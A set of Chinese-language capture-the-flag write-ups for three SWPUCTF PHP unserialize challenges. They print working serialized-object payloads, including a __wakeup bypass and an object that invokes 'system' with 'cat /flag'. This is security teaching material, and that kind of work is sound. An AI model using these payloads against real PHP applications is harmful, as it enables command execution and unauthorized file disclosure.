[SWPUCTF 2022 新生赛]ez_ez_unserialize
创造类x,定义了一个魔术常量x为_FILE_(当前文件名),又定义了几个函数,construct函数让x类中的x赋值,wakeup让x重新赋值为_FULE_,destruct函数高亮x常量,如果传参x存在反序列化,否则输出
flag在fllllllag.php
还要绕过__wakeup函数,把成员数改为大于实际数量
<?php
class X
{
public $x = 'fllllllag.php';
}
$a=new X;
echo serialize($a);
?>
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
改为?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
[SWPUCTF 2022 新生赛]1z_unserialize
$a = $this->lt;
$a($this->lly);
这是这一题的
注入点只要传参把$a变成system();$this->lly变成ls或者cat就是一个简单的命令注入了
构造
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
}
$a = new lyh();
$a->lt='system';
$a->lly='ls /';
echo serialize($a);
?>
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
[SWPUCTF 2021 新生赛]ez_unserialize
用御剑扫描
flag.php打不开
但在robots.txt找到了
打开后得到
构造
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;
得到 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
题目中提示要以get方式给p传参,并且会对传入参数进行反序列化操作
因此我们将序列化后的内容传给p即可
构造
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}